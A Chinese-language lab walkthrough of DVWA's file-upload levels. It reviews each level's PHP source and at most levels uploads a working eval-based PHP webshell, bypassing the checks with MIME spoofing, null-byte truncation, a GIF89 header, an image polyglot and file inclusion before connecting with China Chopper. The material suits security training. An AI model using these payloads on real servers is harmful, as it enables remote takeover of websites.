DVWA之File Upload (檔案上傳漏洞)
目錄
Low:
原始碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //上傳檔案的路徑 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //檔案路徑=上文檔案的路徑+檔名 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
basename(path,suffix)
函式返回路徑中的檔名部分,如果可選引數suffix為空,則返回的檔名包含字尾名,反之不包含字尾名。
可以看到,伺服器對上傳檔案的型別、內容沒有做任何的檢查、過濾,存在明顯的檔案上傳漏洞,生成上傳路徑後,伺服器會檢查是否上傳成功並返回相應提示資訊。
如果上傳成功,則會提示 路徑+succesfully uploaded! 如果上傳失敗,則會提示 Your image was not uploaded。
我們可以寫一句話木馬 1.php ,上傳
<?php @eval($_POST['xie']); ?>
可以看到,我們的一句話木馬已經成功上傳了,接下來我們就可以用菜刀連線了。 連線的url是
Medium:
原始碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
可以看到,伺服器對上傳檔案的大小和型別做了限制。只允許上傳小於 100000 位元組並且檔案type型別是image/jpeg或 image/png 的。
方法一:抓包修改檔案的type
因為這裡過濾的是檔案的上傳型別,而不是檔案的字尾名
所以我們直接上傳 1.php 的一句話木馬
<?php @eval($_POST['xie']); ?>
通過burpsuite抓包,預設type型別是application/octer-stream
我們將其型別改為 image/jpeg ,然後go上傳,可以看到,已經上傳成功!
方法二:00截斷
在php<5.3.4中,處理字串的函式認為0x00是終止符。那麼我們可以利用 00截斷 漏洞來上傳我們的一句話木馬。網站上傳函式處理1.php%00.jpg時,首先後綴名是合法的jpg格式,可以上傳,在儲存檔案時,使用burpsuite進行包攔截,找到上傳的路徑,把檔名改為 1.php[空格].jpg ,十六進位制檢視,空格的十六進位制程式碼為20,將其修改為 00。後端在判斷檔案字尾名的時候遇到%00字元丟棄後面的jpg,檔案字尾最終儲存的字尾 名為 1.php。然後我們就可以用我們的菜刀連線了。
我們寫一句話木馬,並將其命名為 1.php.jpg ,上傳
<?php @eval($_POST['xie']); ?>
然後用 burpsuite 進行包攔截,轉發到 repeater 模組
*****************************************************************************************************************************************************
00截斷一:
我們將檔名改成 1.php .jpg 然後16進位制檢視
空格的16進位制程式碼是 20
我們將其改為 00
然後再檢視,我們可以看到函式名已經變了
00截斷二:
我們將檔名改為 1.php%00.jpg
然後我們選中 %00 ,然後進行URL-decode
可以看到,檔名已經變了
******************************************************************************************************************************************************
我們點選 go ,可以看到已經上傳成功了
接下來我們就可以用菜刀連線了。 連線的url是
High:
原始碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //檔案在上傳者機器上的檔名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上傳檔案的字尾名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //上傳檔案的大小
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; //上傳檔案儲存在伺服器臨時資料夾的檔名
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext )=="jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
strrpos(string , find ,start) 查詢find字元在string字元中的最後一次出現的位置,start引數可選,表示指定從哪裡開始
substr(string,start,length) 返回string字元中從start開始的字串,length引數可選,表示返回字元的長度
strtolower(string) 返回給定字串的小寫
getimagesize(string) :函式將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 影象檔案的大小並返回影象的尺寸以及檔案型別和一個可以用於普通 HTML 檔案中 IMG
標記中的 height/width 文字字串。如果不能訪問 filename
指定的影象或者其不是有效的影象,getimagesize() 將返回 FALSE
併產生一條 E_WARNING級的錯誤。所以 getimagesize函式的作用是判斷上傳的檔案是不是有效的圖片
move_uploaded_file(file,newlocal) 函式表示把給定的檔案移動到新的位置
所以 $uploaded_ext 表示的是上傳檔案的字尾名 ,這裡限制上傳的檔案的字尾名必須以 jpg 、jpeg 或 png 結尾,同時大小<100000,同時上傳的檔案必須是有效的圖片格式(不只是以圖片的格式結尾,而且檔案內容是圖片格式的)。
我們直接上傳一句話木馬,然後把檔名改為 1.jpg
<?php @eval($_POST['xie']); ?>
發現上傳不了,因為僅僅字尾是圖片格式的還不行,檔案內容必須還得是圖片格式的。
所以我們在檔案頭部加上了jpg格式的 GIF89
GIF89
<?php @eval($_POST['xie'])?>
或者我們可以在cmd命令列下: copy /b 1.jpg+1.php 1.jpg 把一句話木馬寫入到圖片的最末端也可以。
在檔案頭部加了jpg格式的 GIF89 標識後成功上傳!
雖然我們的一句話木馬上傳成功了,但是他是以jpg為字尾的,菜刀不能直接連線,必須讓他作為php解析。
中國菜刀的原理是向上傳檔案傳送包含引數的post請求,通過控制引數來執行不同的命令,而這裡伺服器將木馬檔案解析成了圖片檔案,因此向其傳送post請求時,伺服器只會返回這個“圖片”檔案,並不會執行相應命令。
那麼,怎麼才能讓我們的圖片以 php 格式執行呢? 檔案包含!我們可以利用DVWA的檔案包含漏洞,讓我們的圖片格式的一句話木馬以php格式執行。
我們訪問該URL:
可以看到,成功包含了我們上傳的一句話木馬圖片,把該圖片當成php檔案執行了。
然後我們就可以用中國菜刀進行連線了
因為這個網站是要登入的,所以我們在菜刀中右鍵,然後瀏覽網站,然後登入就可以在菜刀中保持我們的session。然後就可以獲取Webshell了。
Impossible :
原始碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //檔案在上傳者機器上的檔名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上傳檔案的字尾名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //上傳檔案的大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //上文檔案的型別
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; //檔案上傳到伺服器臨時資料夾後的檔名
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
imagecreatefromjpeg(filename):從給定的檔案或url中建立一個新的圖片
imagejpeg(image,filename,quality):從image影象中以 filename 檔名建立一個jpeg的圖片,引數quality可選,0-100 (質量從小到大)
imagedestroy(image) : 銷燬影象
可以看到,Impossible級別對上傳的檔案進行了重新命名(為md5值,導致00截斷無法繞過過濾規則),並且加入Anti-CSRF token防護CSRF攻擊,同時對檔案的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意指令碼的檔案。